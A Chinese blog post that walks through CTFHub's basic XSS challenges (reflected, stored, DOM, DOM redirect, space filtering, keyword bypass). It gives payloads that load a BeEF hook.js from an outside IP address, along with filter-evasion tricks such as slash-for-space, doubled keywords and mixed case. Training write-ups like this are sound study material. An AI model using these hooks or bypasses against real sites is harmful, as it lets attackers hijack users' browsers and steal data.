首页 > 其他分享 >ctfhub_WEB基础关(4)

ctfhub_WEB基础关(4)

时间:2023-09-04 22:57:32浏览次数:35  
标签:WEB 查看 beef ctfhub 基础 payload 提交 绕过 框中

WEB基础

五、XSS

1、反射型

该关卡刚开始不知道flag存在哪儿,刚开始只在name框中提交东西,但是无法获取到falg,查看了提示,然后流程大概是先在Name框中输入,提交,然后将提交之后的网址复制粘贴到提交url的框中,就可以得到falg

  • 利用beef工具来进行

  • 在输入姓名的框中输入构造的payload然后点击提交

    <script src='http://8.130.109.21:3000/hook.js'></script>
    
  • 将提交后的url复制粘贴到第二个提交框中,点击提交

  • 然后在beef平台上查看信息

2、存储型

存储型的获取flag过程和反射型的一致

  • 提交payload,并且复制url到相应的url框中

  • 在beef平台上查看flag

3、DOM型

  • 这一关像之前的一样提交payload,发现回显的信息有问题然后去查看源码

  • 查看页面源码,应该是要闭合语句,重新构成payload

  • 构造新的payload

    '</script> <script src="http://8.130.109.21:3000/hook.js">''
    

  • 然后去beef平台上查看flag

4、DOM型跳转

  • 点进去发现就只有一个输入框,另外一个不可以用,并且该请求是get请求,查看页面源代码,可以得到构造语句时需要写成jumpto=的形式

  • 构造新的payload,然后进行提交

    ?jumpto=javascript:$.getScript("http://8.130.109.21:3000/hook.js")
    

    • 使用了 jQuery 的 $.getScript() 函数来异步加载并执行来自 beef的 js 脚本
  • 将上面提交后的网址粘贴复制到url框中,点击提交

  • 在beef平台上查看flag

5、过滤空格

过滤空格的绕过方法,利用/来代替空格

  • 构造payload

    <script/src='http://8.130.109.21:3000/hook.js'></script>
    

  • 将提交后的网址复制到URL的框中然后提交

  • 查看beef平台上的FALG

6、关键词绕过

关键词绕过的方法一般有大小写绕过,双写绕过

  • 输入<script src='http://8.130.109.21:3000/hook.js'></script>后,发现script直接被替换为空了

  • 试试双写绕过

    <scscriptript src='http://8.130.109.21:3000/hook.js'></scrscriptipt>
    

    发现可以绕过

    • 复制链接到URL框中,然后提交
    • 去beef平台查看flag
  • 试试大小写绕过

    • 构造payload,可以绕过

      <scRipt src='http://8.130.109.21:3000/hook.js'></scRipt>
      
    • 复制到url框中

    • 去beef平台中查看结果

标签:WEB,查看,beef,ctfhub,基础,payload,提交,绕过,框中
From: https://www.cnblogs.com/xiaoyi208/p/17678287.html

相关文章

  • 速览 PHP 基础语法
    1.HelloWorld<?phpecho"Hello,World!"; //>Hello,World!2.注释// /**/3.数据类型数据类型类型中文名类型名标量类型布尔型boolean整型integer浮点型float字符串string复合类型数组array对象object查看数据类型voidvar_d......
  • JavaWeb项目3.0之后创建web项目
    在上一篇文章中我们看到创建web项目的过程,但是在web3.0之后有了注解的加入,可以更简单的创建Web项目。选择自己创建的maven项目,填写项目名称。 在项目中添加web模块 添加对应的打包形式 配置tomcat 添加对应模块  最为重要的我们不需要web.xml的繁琐......
  • java基础-数组-day06
    1.引入数组录入10个学生的成绩求和求平均importjava.util.Scanner;publicclassTestArray01{publicstaticvoidmain(String[]args){ Scannersc=newScanner(System.in); intsum=0; for(inti=1;i<=10;i++){ System.out.println("请输入第"+i+"......
  • 理论基础-BASE理论和分布式事务模型
       ......
  • 【JAVA基础】IntelliJ IDEA 2023.2安装与激活
    下载IDEA访问https://www.jetbrains.com/idea/download/?section=windows下载最新版IntellijIDEA最新版安装与激活,当前版本为2023.2,仅供交流,请从官方渠道申请正版授权码。安装IDEA直接点击exe文件安装激活激活的方式有很多种,这里用激活码的方式(Activationcode)。1、打......
  • Webwork2初接触
    1.下载地址https://webwork.dev.java.net/servlets/ProjectDocumentList下载zip包,解压,首先看文档doc/index.htm,Documentation->Getingstarted2.安装安装步骤在这里很详细了。但终归是英文的,看起来比中文还是要稍稍慢一些。安装其实非常简单。无非......
  • Web Service Tip: JSPs Calling Web Services
    WebServiceTip:JSPsCallingWebServicesHowdoIcallaWebservicefromaJSP? Seemslikeasimplequestionbutitturnsouttherearemanyways-somequickanddirtyandothersmorecorrect. Let'snotdebatecorrectness(doyoureallywantto......
  • 第1篇 ASOC基础说明
    基础说明: 1.声音采集: (1)采样频率: 常用频率:44K,采用频率越高,失真越小,容量越大 (2)采集:ADC,如果是双通道,数据表示为:V1,V1',V2,V2',V3,V3'...... 1)左声道:ADC精度,16位,24位 2)右声道: (3)播放:DAC,安装采样的速度播放 (4)WAV文件格式: 1)头部:包括 1.采......
  • DreamWeaver+WebDav(IIS)配置团队协作开发
    作者:fbysssbasicauthentication因为如果是远程,肯定不能使用windows集成。这时的用户,应该是服务器上自行建立分配的用户(控制面板->用户).  可以通过目录的"安全"来指定每个用户的访问权限. 在Dreamweaver中新建一个站点.设置站点名称/本地根文件夹;远程信息->访问,选WebDav,然......
  • 学网络安全对学历有要求吗?需要什么基础?
    目前,网络安全处于高速发展阶段,其薪资、发展前景都非常不错,因此吸引了一大波人前来学习。然而在学习网络安全之前,很多人总会产生一些顾虑,因此犹豫不决,那么学网络安全需要什么基础?对学历有要求吗?以下是具体的内容介绍。学网络安全需要什么基础?如果你想要参加培训学习......